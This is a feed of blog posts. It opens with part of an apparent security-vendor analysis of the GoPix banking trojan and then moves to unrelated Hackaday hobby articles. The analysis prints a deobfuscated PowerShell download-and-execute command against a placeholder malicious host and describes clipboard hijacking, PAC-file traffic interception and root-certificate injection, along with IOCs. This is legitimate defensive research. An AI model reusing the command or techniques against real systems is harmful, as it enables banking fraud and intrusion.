If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.
Stolen certificate used to sign the malicious installer
The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.
NSIS installer code creating a batch file
However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.
Obfuscated command line inside the LNK
Deobfuscated command line:
WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -
The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.
It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.
Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).
GoPix delivery chainInitial PowerShell script
This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.
System information collection
The information contained within this JSON is as follows:
Folder and file names to be created under the %APPDATA% directory
Obfuscated PowerShell script
Encrypted PowerShell script ps
Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
GoPix configuration file pf
Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.
PSExecutionPolicyPreference=Unrestricted
powershell -File "$scriptPath"
exitObfuscated PowerShell script
Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.
Deobfuscated PowerShell scriptDecrypted PowerShell script “ps”
The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.
PowerShell script shellcode jumps to the malware loader shellcode
The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.
Building the GoPix shellcode depending on the targeted architectureShellcode
This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.
The old sample (left) used stack strings with API names. The new sample (right) uses the API hashing obfuscation technique
The first time GoPix is dropped into memory through PowerShell, its structure is as follows:
Memory dropper shellcode
Memory dropper DLL
Main payload shellcode
Main payload DLL
Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.
MZ signature zeroedGoPix dropper
When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.
After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.
The dropper uses a syscall instruction and calls the GoPix in-memory implant’s main functionMain GoPix implantClipboard stealing functionality
Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.
Boleto bancário targeted in clipboard-stealing functionality
When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.
Unique man-in-the-middle attack
PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.
In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.
PAC file excerpt
To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.CRC32Target8BD688E8local8CA8ACFFwww2.banco********.com.brAD8F5213autoatendimento.********.com.br105A3F17www2.****.com.brB477FE70internetbanking.*******.gov.br785F39C2loginx.********.brC72C8593internetpf.*****.com.br75E3C3BAinternet.*****.com.brFD4E6024internetbanking.*******.com.brHTTPS interception
Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.
GoPix trusted root certificateConclusion
With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.
This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.
For further information on GoPix and all technical details, please contact [email protected].
Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.
Indicators of compromise
EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload
Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51
C2
paletolife[.]com
Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/
securelist.com/gopix-banking-t…
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2026-03-16 11:00:15 UTC

The IPV4 We Didn’t Get
If you have ever read science fiction, you’ve probably seen “alternate history” stories. You know, where Europeans didn’t discover the New World until the 19th century, or the ancient Egyptians stumbled upon electricity. Maybe those things happened in an alternate universe. [BillPG] has an alternate history tale for us that imagines IPv6 was shot down and a protocol called IPv4x became prominent instead.
The key idea is that in 1993, the IP-Next-Generation working group could have decided that any solution that would break the existing network wouldn’t work. There is precedent. Stereo records play on mono players and vice versa. Color TV signals play on black and white sets just as well as black and white signals play on color TVs. It would have made perfect sense.
How could this be? The idea was to make everyone who “owns” an IPv4 address the stewards of a 96-bit sub-address block. IPv4x-aware equipment extracts the entire 128-bit address. IPv4-only equipment routes the packet to the controlling IPv4 address. Wasteful? Sure. Most people don’t need 79 octillion addresses. But if everyone has that many, then why not?
The fictional timeline has DNS and DHCP, along with dial-up stacks, changing to accommodate the new addresses. Again, you had to assume some parts of the network were still IPv4-only. DNS would return both addresses, and it was up to you to pick the IPv4x address if you understood it.
Your ISP would probably not offer you the entire extra space. A regional router could handle all traffic for your neighborhood and then direct it to your specific 128-bit address or your pool of addresses, if you have multiple devices. No need for NAT to hide your devices, nor strange router configurations to punch traffic through.
Of course, back in the real world, we have two incompatible systems: IPv4 and IPv6. IPv6 adoption has been slow and painful. We wondered why [BillPG] wrote about this future that never was. Turns out, he’s proposed a gateway that IPv6 hosts can provide to allow access from IPv4-only networks. Pretty sneaky, but we can admire it. If reading all this makes you wonder what happened to IPv5, we wondered that, too.
hackaday.com/2026/03/16/the-ip…
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2026-03-16 08:00:35 UTC

ATtiny85 Plays the Chrome Dinosaur Game
If you’ve ever had your internet connection drop out while running Chrome, you’ve probably seen a little dinosaur pop up to tell you what’s going on. You might have then tapped a key and learned that it’s actually a little mini-game built into the browser where you have to hop your intrepid T-rex over a bunch of cactii. [Albert David] is well familiar with this little Easter egg, and set about building a system to automatically play the game for him.
The build uses an Digispark ATtiny85 microcontroller board to run the show. It’s set up to plug in to a PC and enumerate as a USB HID device, so it can spoof the required key presses to play the game. To sense the game state, the device uses a pair of LM393 light-dependent resistor comparator modules. The bottom sensor is used to detect cactus obstacles in the game, while the upper sensor detects flying bird obstacles. Armed with this information, the microcontroller can deliver keypresses at just the right time to jump over cactuses while dodging birds overhead.
[Albert] does a great job of explaining how the project came together in the write-up. There are also useful calibration instructions that indicate how to place the sensors and tweak their thresholds so they trigger reliably and help you net a suitably high score.
Interestingly enough, this isn’t the first time we’ve seen a microcontroller take Chrome’s hidden game for a spin. The game itself has become popular enough that we’ve also seen it ported to other platforms.
youtube.com/embed/C7ZEAQUwPDA?…
hackaday.com/2026/03/16/attiny…
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2026-03-16 05:00:47 UTC

Magnetic-Suspension Hoverboard is Only 11 Years Late
Anyone who saw Back to the Future II was disappointed when 2015 rolled around with nary a hoverboard in sight. There have been various attempts to fake it, but none of them quite have the feel of floating about wherever you’d like to go that the movie conveys. The little-known YouTuber [Colin Furze] has a new take on the idea: use magnets. Really big magnets.
If you’re one of [Colin]’s handful of subscribers, then you probably saw his magnetic-suspension bike. We passed on that one, but we couldn’t resist the urge to cover the hoverboard version, regardless of how popular [Colin] might be on YouTube. It’s actually stupidly simple: the suspension is provided by the repulsive force between alarmingly large neodymium magnets. In this case, two are on the base plate that holds the skateboard ‘trucks’, and two are on the wooden ‘deck’ that [Colin] rides upon.
Of course magnetic repulsion is a very unstable equilibrium, so [Colin] had to reduce the degrees of freedom. In his first test, that was with a pair of rods and linear bearings. That way the deck could only move in the z-axis, providing the sensation of hovering without allowing the deck to slide off its magnetic perch. Unfortunately those pins transferred too much vibration from the ground into the deck, ruining the illusion of floating on air.
After realizing that he’d never be able to ollie (jump) this massive beast of a skateboard, [Colin] decides he might as well use a longboard instead. Longboards, as the name implies, are long skateboards, and are for transportation, not tricks. The longboard gets the same massive magnets, but after a couple of iterations to find a smoother solution — including a neat but unsuccessful tensegrity-inspired version — ends up with a pair of loosely-fitted pins once again, though relocated to the rear of the board. From the rider’s perspective, it looks exactly like a hoverboard, since you can’t see underneath from that angle. According to [Colin], it feels like a hoverboard, too.
The only way to do better would be with eddy currents over copper, or superconductors over a magnetic track, but both of those methods limit you to very specific locations. This might be a bit of a fakeout, but its one with a degree of freedom. One, to be specific. You have to admit, it’s still less of a fake than the handle-less Segway we got in 2015, at least.
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2026-03-15 23:00:22 UTC

Hackaday Links: March 15, 2026
Some days, it feels like we’re getting all the bad parts of cyberpunk and none of the cool stuff. Megacorps and cyber warfare? Check. Flying cars and holograms? Not quite yet. This week, things took a further turn for the dystopian with the news that a woman was hospitalized after an altercation with a humanoid robot in Macau. Police arrived on scene, took the bot into custody, and later told the media they believed this was the first time Chinese authorities had been called to intervene between a robot and a human.
The woman, reportedly in her seventies, was apparently shocked when she realized the robot was standing behind her. After the dust settled, the police determined it was being operated remotely as part of a promotion for a local business. We’ve heard there’s no such thing as bad publicity, but we’re not sure the maxim holds true when you manage to put an old lady into the hospital with your ad campaign.
Speaking of robots, the U.S. Library of Congress recently discovered and subsequently restored Georges Méliès’s Gugusse et l’Automate (Gugusse and the Automaton), a short film from 1897 that’s considered the first piece of science fiction cinema. As far as anyone knows, it’s also the first time a robot appeared on screen, although this isn’t exactly The Terminator we’re talking about here.
The runtime is less than a minute, but to make the short story even shorter: a guy cranks up a robot that gets bigger and bigger until it turns on its maker and starts to hit him with a stick. The human responds in kind by smashing the robot with a cartoonishly large mallet until it poofs out of existence. The modern film school interpretation is that it’s a cautionary tale about the dangers of technology, ye old Black Mirror, if you will. Since nobody can ask old Georgie what he was going for, we’ll just have to take their word for it.
Returning to the desert of the present, Tom’s Hardware reports that at least one manufacturer is starting to pack their new RAM with an additional non-functioning filler module. With prices skyrocketing, this allows folks who can’t afford to fill all the memory slots on their motherboard to stick something in there that at least looks the part. This may seem pointless, but consider that many gamers and other power users have PC’s with clear side panels to show off their elaborate internal layouts. We get it from an aesthetic standpoint, but it also sounds like a new way to potentially get scammed when buying parts on the second-hand market. Though, to be fair, it could be that we’re just overly cynical after watching that Georges Méliès film. At the very least, the current price of memory certainly makes it feel like we’re being hit with a stick.
Finally, what good is living in a cyberpunk world without the occasional bout of rebellion? That’s where the Ageless Linux project comes in. This is a Linux distribution that’s intentionally configured to violate the California Digital Age Assurance Act, which essentially states that the operating system must ask the user how old they are and make this information available to any piece of software that wants to know.
To be fair, being in violation of this law right now is easy — indeed, the OS you’re using now is almost certainly not compliant. But the idea is that it may bend the knee at some point, while Ageless Linux won’t. One could argue that they started the project a bit too early, but frankly, the whole thing is performative in the first place, so if it gets people talking, that’s enough. We’re particularly interested in their idea of making a non-compliant hardware device that’s cheap enough to distribute while still meeting the definition of a computing device, as it’s written in the California Digital Age Assurance Act.
Think they would mind if we borrowed the idea for this year’s Supercon badge?
See something interesting that you think would be a good fit for our weekly Links column? Drop us a line, we’d love to hear about it.
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2026-03-15 20:00:19 UTC

New Aluminum-Based Catalyst Could De-Throne Platinum Group
Platinum-group metals (PGMs) are great catalysts, but they’re also great investments — in the sense that they are very, very expensive. Just ask the guy nicking car exhausts in the Walmart parking lot. If one could replace PGMs with a more common element, like, say the aluminum that makes up over 8% the mass of this planet, it would be a boon to the chemical industry, and a bane to meth addicts. Researchers at King’s College, London have found a way to do just that, with a novel form of aluminum called cyclotrialumane.
The aluminum trimer is exactly what the ‘tri’ in the name makes it sound like: three aluminum atoms, bonded in a triangular structure that is just pointy and stick-outy enough to poke into other molecules and make chemistry happen. OK, not really — you can see from the diagram above it’s not nearly that simple — but the point is that the shape makes it a good catalyst. The trimer structure is useful in large part because it is very stable, allowing reactions to be catalyzed in a large variety of solutions.
The researchers specifically call out their trialuminum compound as effective at splitting H2 in to H+ ions, as well as ethene polymerization. Both of those are important industrial reactions, but that’s only a start for this trialuminum wonder catalyst, because the researchers claim it can catalyze totally new reactions and create previously-unknown chemicals.
If you never took chemistry, or it’s been too many years since you last slept through that class, we have a primer on catalysts here. By accelerating chemical reactions, catalysts have enabled some neat hacks, like anything involving platinum-cure silicone.
Thanks to [Lightislight] for the tip! Hacks do appear here on their own, but you can always use our tips line to catalyze the synthesis of a particular article.
Header image adapted from: Squire, I., de Vere-Tucker, M., Tritto, M. et al. A neutral cyclic aluminium (I) trimer. Nat Commun 17, 1732 (2026). doi.org/10.1038/s41467-026-684…
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2026-03-15 14:00:11 UTC

DR-DOS Is Back, But Not Quite as We Knew It
If you weren’t around for the early PC era, or were a little more casual about operating systems, you could perhaps be forgiven for not knowing that DOS is not synonymous with MS-DOS. MS-DOS was just Microsoft’s implementation — or rather, an implementation they purchased — of a Disk Operating System, one that was…let’s just say “inspired by” Digital Research’s CP/M.
Digital Research shot back with DR-DOS, an operating system that was both compatible with and much superior in some ways to MS-DOS. The last version was released in 1991, after Novell bought the struggling Digital Research. Now it’s back, or at least, it’s on its way back with a fully clean-room implementation by a fellow who calls himself [CheeseWeezel] on Reddit.
He’s gone so far as to purchase the trademark, so this re-creation is the official DR-DOS. In any case [CheeseWeezel]’s DR-DOS is considered version 9.0, and is currently in Beta. The clean-sheet re-implementation of DR-DOS’s API was sadly necessary due to the rather tortured history of the IP after DR was bought by Novel, who sold DR-DOS to Caldera, who briefly open-sourced the code before retracting the license and selling on. Some of you may remember a controversy where a previous rights holder, DR DOS INC, was found purloining FreeDOS code in violation of the GPL. Perhaps because of that, [CheeseWeezel] isn’t using any old code, and isn’t open-sourcing what he’s done. Right now, the beta of DR-DOS 9 is free for non-commercial use, but as is standard for EULAs, that could change at any time without warning. [CheeseWeezel] is still working full compatibility, but at this point it at least runs DOOM.
Still, given the origins of DOS in Digital Research’s early work on CP/M, it warms the heart to see what many of us thought of as the “true” DOS survive in some form in the 21st century. Arguably it already had, in the form of SvarDOS, but you can’t use that to make smug jokes about your operating system having PhD instead of a measly master’s. If you did not like DOS, we recall the joke from Mac users was that those were the degrees needed to operate the PC. Speaking of DOS, you don’t necessarily need a retrocomputer to run it.
Thanks to [OldDOSMan] for the tip!
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2026-03-15 11:00:10 UTC

Relays Run This Balanced Ternary Adder
If you’re at all familiar with digital computing, you’ll know that computers represent everything in binary values of one and zero. Except that’s not technically the only way to do computing! You can use any numerical system you like if you build your hardware to suit, as [Jeroen Brinkman’s] ternary adder demonstrates.
As you might guess from the prefix, “ternary” refers to a base-3 numerical system. In this case, [Jeroen] implemented a balanced ternary system, which effectively uses values of -, 0, and + instead of just 1 and 0. The adder is built using relay logic, and is designed to handle 4 trits—the ternary equivalent of bits, where each trit can have one of the three aforementioned states. On a hardware level, trit states are represented with voltages of -5, 0, or 5 V in this case, and are handled with special tri-state switching elements that [Jeroen] constructed out of simple SPDT relays.
[Jeroen]’s write-up does a great job of explaining both ternary basics as well as the functioning of the adder. It’s also quite intuitive because it’s possible to see the relays clicking away and the LEDs flashing on and off as the circuit does its work to add values stored in ternary format.
If you’re trying to get your head around ternary computing from the very lowest level, this project is a great place to start. We’ve seen base 3 hardware built before, too—like this simple ternary computer lashed together from accessible components.
If you’re cooking up your own computing apparatus that uses some weird number system or something, remember—we’d love to hear about it on the tipsline!
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2026-03-15 08:00:20 UTC

A Smart Printer Enclosure for the Open Source World
3D printing has had its time to spread its wings into the everyday home, yet many of those homes lack the proper ventilation to prevent the toxic VOCs from escaping. Because of this, [Clura] has put together an entire open-sourced smart enclosure for most open concept printers.
While certain 3D printers or filament choices lend themselves to being worse than others, any type of plastic particles floating around shouldn’t find their way into your lungs. The [Clura] enclosure design includes HEPA and carbon filters in an attempt to remove this material from the air. Of course, there’s always the choice to have a tent around your printer, but this won’t actually remove any VOCs and air located inside a simple enclosure will inevitably escape.
What makes this enclosure different from other, either commercial or open-source designs, is the documentation included with the project. There are kits available for purchase, which you may want for the custom PCB boards for smart features such as filament weighing or fume detection. Even still, if you don’t want to purchase these custom boards the Gerber files are available on their GitHub page.
As smart as this enclosure is, it still won’t fix the issues of what happens to the toxins in your print after it’s done printing. If you are interested in this big picture question, you are not alone. Make sure to stay educated and help others learn by checking out this article here about plastic in our oceans.
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2026-03-15 05:00:35 UTC

Building a Neatly Framed Word Clock
Reading analog clocks is a pretty straightforward skill to learn. However, if you’ve already learned to read and don’t want to pick up the extra skill, a word clock is a perfect solution for telling time. [povey_tech] found some nice examples in the wild but didn’t appreciate the price, so he set about building his own.
The build is based around an ESP32 microcontroller. While many projects in this vein would use the onboard wireless connectivity to query network time servers, in this case, the board relies on the user manually setting the time and a DS1307 real-time-clock module to keep a steady tick. Also onboard is a VEML7700 ambient light sensor, which the microcontroller uses to control the brightness of the WS2812 LEDs inside the board.
The words themselves are laser cut out of acrylic panels, with everything set inside a tidy oak picture frame. A layer of anti-reflective glass in front helps cut down on glare, while [povey_tech] was so kind as to implement two LEDs per letter to allow for lovely color gradients to be displayed. Configuring the clock is easy thanks to a webpage hosted on the ESP32 that allows for control of dimming modes, colors, and setting the time. Home Assistant integration is something planned for the future.
We’ve seen many great word clocks over the years. Perhaps the biggest leap forward in this world was the development of the addressable LED strip which made constructing these clocks much easier.
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2026-03-14 23:00:47 UTC

GNU Radio Gets a Makeover With PimpMyGRC
[idealdealy] had a problem. GNU Radio Companion was proving to be a powerful tool, but it just didn’t look… cool enough. The solution? A custom bit of software called PimpMyGRC, designed to jazz things up a bit in everyone’s favorite open-source SDR package.
In the creator’s own words, PimpMyGRC solves the problem nobody had with GNU Radio. It stemmed from [idealdealy]’s desire to have a plain black background in the software to ease eye strain during late night debug sessions. From there, it developed into a full theming package coded in Python, complete with all kinds of fun color schemes.
You can go with “arctic” if you’re somewhere cold, “bubblegum” if you’re feeling young and fun, or “neon hacker” if you’re still obsessed with early 90s movies with terrible plot holes around computers.
None of these themes will help you work faster, but they’ll probably make your friends jealous that your setup looks a little bit cooler than theirs. Plus, there are some really fun animated effects to catch your eye if your attention is fading. You might get flames dancing on the bottom of the screen, or binary digits falling through the display in a manner vaguely akin to terminals from The Matrix.
If you’re new to this world, you might like to check out this primer on getting started with GNU Radio. Meanwhile, if you’re cooking up your own SDR hacks of value, don’t hesitate to notify the tipsline!
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2026-03-14 20:00:08 UTC

Take Pi for a Spin in this Orbital Simulator
It’s Pi Day, and while we know that many of you celebrate privately, those that take a moment to put aside their contemplation of all things circular and join us on this mathematically-significant day will likely know the name [Cristiano Monteiro]. Since 2022 he’s made it a yearly tradition to put together a themed project every March 14th, and he’s just put the finishing touches on the 2026 edition.
Generally, [Cristiano] sends in some interesting hardware device that visualizes the calculation of pi, but this year he surprised us a bit by delivering a software project. His Orbital Pi Simulator allows you to see what would happen to an orbiting spacecraft if it’s navigation system suddenly believed the value of pi was something different.
In broad strokes, we can imagine what would happen. If you plug in something significantly higher than 3.14, the orbit becomes elliptical to the point that the craft can fly off into deep space. Drop the value down, and the orbit will intersect with the Earth — a guaranteed recipe for a bad time.
The Kerbal Space Program players in the audience will no doubt point out that a spacecraft in a stable orbit would more or less stay on that same trajectory indefinitely and not need to manually adjust its velocity in the first place. Further, they would argue that said spacecraft suddenly firing its thrusters retrograde because a flipped bit in its computer resulted in the value of pi suddenly being 1.2 isn’t very realistic. Those people would be correct, but they would also be no fun at parties.
Fans of math and/or circles will no doubt be interested in the previous devices [Cristiano] has built to mark this date. Last year he put together a robotic hand that counted out pi with its 3D printed fingers, and in 2024 he used the Pepper’s Ghost illusion to great effect. For those wondering, not everything he does is pi-related. The portable GPS time server he sent out way in 2021 was a particularly slick piece of hardware.
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2026-03-14 17:00:45 UTC

Off-Grid Electricity and Hot Water from Scrap Wood
Cooking with charcoal is a fairly common human activity, as much as others have come to prefer fuels like propane and propane accessories for their outdoor, summertime grilling. Although it’s made from wood, it has properties that make it much more useful for cooking — including burning at a higher temperature and with more consistent burn rates. It can also be used as a fuel for generating heat and electricity, but since it’s not typically found lying around in the forest it has to be produced, which [Greenhill Forge] has demonstrated his charcoal production system in one of his latest videos.
The process for creating charcoal is fairly simple. All that needs to happen is for wood to be heated beyond a certain temperature in the absence of oxygen. At this point it will off-gas the water stored in it as well as some of the volatile organic compounds, and what’s left behind is a flammable carbon residue. Those volatile organics are flammable as well, though, so [Greenhill Forge] uses them to heat the wood in a self-sustaining reaction. First, a metal retort is constructed from a metal ammo box, with a pipe extending from the side and then underneath the box. A few holes are drilled in this part, and the apparatus is mounted above a small fire on a metal stand. With the fire lit the wood begins heating, and as it heats these compounds exit the pipe and ignite, adding further fuel to the fire. Eventually the small fire will go out, allowing the retort to heat itself on the gasses released from the wood alone.
To generate the hot water, [Greenhill Forge] has taken an extra step and enclosed the retort in a double walled metal cylinder. Inside the cylinder is a copper tube packed in sand, which harvests the waste heat from the charcoal production for hot water. In his test runs, the water in a large drum was heated to the point that the tubing he used for the test began to melt, so it is certainly working better than he expected.
After the retort cools, [Greenhill Forge] uses the charcoal in another process that generates about a days’ worth of electricity and hot water. It’s part of a complete off-grid system that’s fairly carbon neutral, since trees are an abundant renewable resource compared to fossil fuels. Heating with wood directly is still common in many cold areas around the world, with the one major downside being the labor required to keep the stove running. But we’ve seen at least one project which solves this problem as well.
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2026-03-14 14:00:41 UTC

What is a Computer?
On the podcast, [Tom] and I were talking about the new generation of smartphones which are, at least in terms of RAM and CPU speed, on par with a decent laptop computer. If so, why not just add on a screen, keyboard, and mouse and use it as your daily driver? That was the question posed by [ETA Prime] in a video essay and attempt to do so.
Our consensus was that it’s the Android operating system holding it back. Some of the applications you might want to run just aren’t there, and on the open side of the world, even more are missing. Is the platform usable if you can’t get the software you need to get your work done?
But that’s just the computer-as-a-tool side of the equation. The other thing a computer is, at least to many of our kind of folk, is a playground. It’s a machine for experimenting with, and for having fun just messing around. Android has become way too polished to have fun, and recent changes on the Google side of things actively prevent you from installing arbitrary software. The hardware is similarly too slimmed-down to allow for experimentation.
Looking back, these have been the same stumbling blocks for the last decade. In 2018, I was wondering aloud why we as a community don’t hack on cell phones, and the answer then was the same as it is now – the software is not friendly to our kind. You can write phone apps, and I have tried to do so, but it’s just not fun.
The polar opposites of the smartphone-as-computer are no strangers in our community. I’m thinking of the Linux single-board computers, or even something like a Steam Deck, all of which are significantly less powerful spec-wise than a flagship cell phone, but which are in many ways much more suitable for hacking. Why? Because they make it easy to do the things that we like to do. They’re designed to be fun computers, and so we use them.
So for me, a smartphone isn’t a computer, but oddly enough it’s not because of the hardware. It’s because what I want out of a computer is more than Turing completeness. What I want is the fun and the freedom of computering.
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2026-03-14 11:00:23 UTC

If You Like The Sound of a Thermoacoustic Stirling Engine, Check Out These Plans
[My Engines] has been doing some sterling work on Stirling engines for some years now. Their thermoacoustic engine is now finally far enough along to open-source, so the magic of collaboration can speed technological advancement.
You’ve probably heard of Stirling Engines, but what’s this “thermoacoustic” business? Hot sound? Well, that’s the translation, and it’s not a bad starting point for understanding what’s going on: the engine converts heat into high-amplitude sound waves — that is, waves of pressure — which means the engine itself has no moving parts. Well, almost. Obviously moving parts are required to get power out. In [My Engines] case he’s using a piston and linear generator, but otherwise it makes for a very simple, very reliable engine that can be fueled by any available source of heat. Say like burning methane from [My Engines]’s home biogas plant.
[My Engines] promises more videos to help you understand the construction in a way his previous videos might not detail, and has put 3D models and drawings at a public Google Drive. There’s also a Discord you can join, because apparently that’s the only way to communicate about projects these days.
The whole build is very much within range of a home maker, though there’s a lot more to it than the toy Stirling engines you may have made out of tin cans back in the day. If you want to play with thermoacoustics but [My Engines]’s design seems like a little much to get started with, you can make a demonstrator with some steel wool and a test tube. Be careful, though: model engines can be an addictive hobby.
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2026-03-14 08:00:29 UTC

The Shockley 4-Layer Diode In 2026
The physicist William Shockley is perhaps today best known for three things: his role in the invention of the transistor, his calamitous management of Shockley Semiconductor which led to a mass defection of employees and precipitated the birth of the Silicon Valley we know, and his later descent into promoting eugenics. This was not the sum of his work though, and [David Prutchi] has been experimenting with a now-mostly-forgotten device that bears the Shockley name (PDF), after finding one used in an early heart pacemaker circuit. His findings are both comprehensive and fascinating.
The Shockley diode, or 4-layer diode as it later became known, is as its name suggests a two terminal device with a 4-layer NPNP structure. It can be modeled as a pair of complementary transistors in parallel with a reverse biased diode, and the avalanche breakdown characteristics of that diode when a particular voltage is applied to it provide the impetus to turn on the two transistors. This makes it a voltage controlled switch, that activates when the voltage across it reaches that value.
The PDF linked above goes into the Shockley diode applications, and in them we find a range of relaxation oscillators, switches, and logic circuits. The oscillators in particular could be made with the barest minimum of components, important in a time when each semiconductor device could be very expensive. It may have faded into obscurity as it was superseded by more versatile 4-layer devices such as the PUJT or silicon-controlled switch and then integrated circuits, but he makes the point that its thyristor cousin is still very much with us.
This appears to be the first time we’ve featured a 4-layer diode, but we’ve certainly covered the genesis of the transistor in the past.
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2026-03-14 05:00:24 UTC

Porting MS-DOS 2.0 to the Apple IIe
Although the Apple II range of computers were based around the 6502 processor, they could still run x86 software using expansion cards that were effectively self-contained computers. This way an Apple IIe owner, for example, could install an Intel 8088-based AD8088 co-processor card by ALF Products and run CP/M-86 as well as MS-DOS. Unfortunately, as [Seth Kushniryk] discovered while digging into this MS-DOS option, there don’t seem to be any remaining copies of the accompanying MS-DOS 2.0 software.
The obvious response to this is of course to try and port it once again, which [Seth] did. So far he got it to boot, though it’s not quite ready for prime-time yet. Although the AD8088 card is fairly self-contained, it still has to talk with the Apple IIe system, which poses some challenges. To help with the porting he’s using the MS-DOS 2.0 OEM Adaptation Kit that was released along with the sources a while back.
The Apple II has to first load the basic MS-DOS files into the 8088’s RAM before handing over control, which works now along with the basic functionality. Before [Seth] releases the port to the public he still wants to fix a number of issues, in particular the clock. ProDOS on the Apple IIe encodes the year differently than MS-DOS, so that the latter’s clock is off by a few years, and the console driver is still not quite as robust as [Seth] would like it to be.
Beyond this there is also working with the other cards in the Apple II2 system, including the Super Serial Card, and working with the ProDOS filesystem.
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2026-03-14 02:00:32 UTC

Ford, Take Note: Classic Pickup Becomes the EV We Want
Ford does sell an electric pickup, but not very many of them. We can’t say for sure, but it’s possible that if the F150 Lightning had the classic cool of [ScottenMotors] 1977 F150 SuperCab conversion they’d have better numbers.
The battery box sits where a V8 used to choke on well-meaning emissions controls.
